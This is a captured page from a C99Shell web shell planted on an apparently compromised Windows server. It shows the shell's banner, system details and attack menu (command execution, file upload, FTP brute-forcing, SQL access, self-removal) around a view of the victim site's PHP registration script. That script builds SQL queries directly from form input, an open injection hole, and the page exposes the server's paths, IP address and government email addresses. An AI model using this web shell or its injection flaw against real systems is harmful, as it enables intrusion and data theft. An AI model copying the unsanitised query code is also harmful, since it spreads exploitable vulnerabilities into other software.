!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\nuevo\htdocs\BLA2\boletinlegal\registro\   drwxrwxrwx
Free 9.41 GB of 239.26 GB (3.93%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     inicio.php (5.19 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php include("../conex.php"); 
//echo $_POST['email'];
//echo $_POST['name'];
setlocale(LC_ALL,"es_ES@euro","es_ES","esp");
$fechaing strftime("%A %d de %B del %Y");
//echo $fechaing; 


//$mensajehtml = file_get_contents('boletines/notificacion.html');
//print $html; // Test
//include ("boletines/notificacion.php");
session_start();


    
setlocale(LC_ALL,"es_ES@euro","es_ES","esp");
    
$hoy ucfirst(strftime("%A, %d de %B del %Y"));

if (
$_POST['action'] == "checkdata") {
    if (
$_SESSION['tmptxt'] == $_POST['tmptxt']) {
        
       
       if( 
$_POST['registro']){
    
    
$sql "select * from usuarios_externos where correo ='$_POST[email]'";
    
$cursor mysql_query$sql$con );
        if( 
mysql_fetch_array$cursor ) )
              echo 
"<script language='JavaScript' type='text/javascript'>
    alert('
$_POST[email] esta duplicado'); 
    window.location.href='index.php';
    </script>"

    else{
            
$sql "insert into usuarios_externos values ('$_POST[name]','$_POST[email]','$_POST[sales]','$fechaing')";  
             
//echo $sql;
      
if( mysql_query $sql$con ) ){
      
      
      
$para $_POST['email'];
$asunto "Suscripción Boletín Legal Ambiental: ";  
$cuerpo "<html><body>
<table>
<tbody><tr>
        <td colspan='4' height='108'><img src='http://190.27.245.106/BLA/images/header-bol.png'  width='781' height='228'></td>
    </tr>
    <tr>
        <td>&nbsp;</td>
        <td>&nbsp;</td>
        <td>&nbsp;</td>
        <td>&nbsp;</td>
    </tr>

    <tr>
        <td width='19'>&nbsp;</td>
        <td width='14'>&nbsp;</td>
        <td width='524'><strong>
        <font style='font-size: 9pt;' color='#000000' face='Trebuchet MS'>
$hoy</font></strong>
        </td>
        <td width='20'>&nbsp;</td>
    </tr>

    <tr>
        <td>&nbsp;</td>
        <td>&nbsp;</td>
        <td><strong><font color='#333333' face='Trebuchet MS' size='2'><br>
        <br>
        <br>
        Notificación de Suscripci&oacute;n </font></strong></td>
        <td>&nbsp;</td>
    </tr>

    <tr>
        <td colspan='4'>&nbsp;</td>
    </tr>
    <tr>
        <td><img src='http://190.27.245.106/BLA/images/lateral.jpg' width='19' height='329'></td>
        <td>&nbsp;</td>
        <td align='left' valign='top'>
        <br>
        <br><br>
        <p>
        <font color='#000000' face='Trebuchet MS' size='2'>

        Apreciada(o) 
$_POST[name] </font>        </p>
        <br><br><br>
        
        <p>
        <font color='#000000' face='Trebuchet MS' size='2'>De acuerdo con la 
        solicitud que hiciste para que te comuniquemos el Bolet&iacute;n Legal Ambiental:</font>        </p>
        <p>
        <font color='#000000'><font face='Trebuchet MS' size='2'>
        Te informamos que la suscripci&oacute;n se ha realizado satisfactoriamente !!! </font> </font>        </p>
        <div>
        &nbsp;
        </div>
        <font face='Trebuchet MS' size='2'><br><br>Cordial Saludo,<br><br><br><br>
        &nbsp;</font> 
        <p class='Estilo1 Estilo1'><b>Bolet&iacute;n Legal Ambiental <font color='#000000' size='2'><br/>SECRETARIA DISTRITAL DE AMBIENTE</b></font></p>
        <p>
        <br>
        </p>
        <div align='center'>
        <font color='#000000' face='Trebuchet MS' size='2'>Esta es una 
        notificación automática, por favor no responda este mensaje 
        </font>
        </div>
        </td>
        <td>&nbsp;</td>
    </tr>
    
    <tr>

        <td colspan='4' align='center'><img src='http://190.27.245.106/BLA/images/piedepag.jpg' alt='pata' align='middle' width='773' height='78'></td>
    </tr>
    <tr>
        <td colspan='4'> 
        <p align='center'>
        <strong><font color='#999999' face='Trebuchet MS, Arial, Helvetica, sans-serif' size='1'>
        Avisos Legales</font></strong><br>
        <font color='#666666' face='Trebuchet MS, Arial, Helvetica, sans-serif' size='1'>Para dejar de recibir el Bolet&iacute;n Legal Ambiental, debes enviarnos un correo con el asunto <strong><em>darme de baja</em></strong> y el correo registrado a    boletinlegalambiental@secretariadeambiente.gov.co.</font>        </p>

      </td>
    </tr>
</tbody>
</table>
</body>
</html>
"
;  
//$cabeceras = "From: Boletín Legal Ambiental"; 

$cabeceras"From: boletinlegalambiental@ambientebogota.gov.co\r\n" "Reply-To: boletinlegalambiental@ambientebogota.gov.co\r\n" "Return-path: boletinlegalambiental@ambientebogota.gov.co\r\n" "MIME-Version: 1.0\n" "Content-type: text/html; charset=UTF-8";


//$cabeceras .= "Reply-To: contacto@ejemplo.com\r\n";  
//$cabeceras .= "Return-Path: contacto@ejemplo.com\r\n";  
//$cabeceras .= "X-Mailer: PHP5\n";  
//$cabeceras .= 'MIME-Version: 1.0' . "\n";  
//$cabeceras .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";   
mail($para,$asunto,$cuerpo,$cabeceras);
      
     
/* 
         
        $msg= "";
        $msg= "mensado enviado desde la pagina web de Boletin legal ambiental";
        $msg.= "\nNombre: ". $_POST['nombre'];
        $remitente = $_POST['correo'];
        $subject = "Suscripción Boletín Legal Ambiental: ". $_POST['correo'];
mail($remitente, $subject, $mensajehtml, "FROM: boletinlegalambiental@secretariadeambiente.gov.co");  */      
        
echo "<script language='JavaScript' type='text/javascript'>
    alert('Te has registrado correctamente, Te estaremos enviando un correo para confirmar'); 
    window.location.href='index.php';
    </script>"
;   

        }
    }
  
  }
      
    } else {
        echo 
"<script language='JavaScript' type='text/javascript'>
    alert('El texto no coincide con la imagen') 
    window.location.href='index.php';
    </script>"
;
       
    }
    
}
//echo "$mensaje";

?> 

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--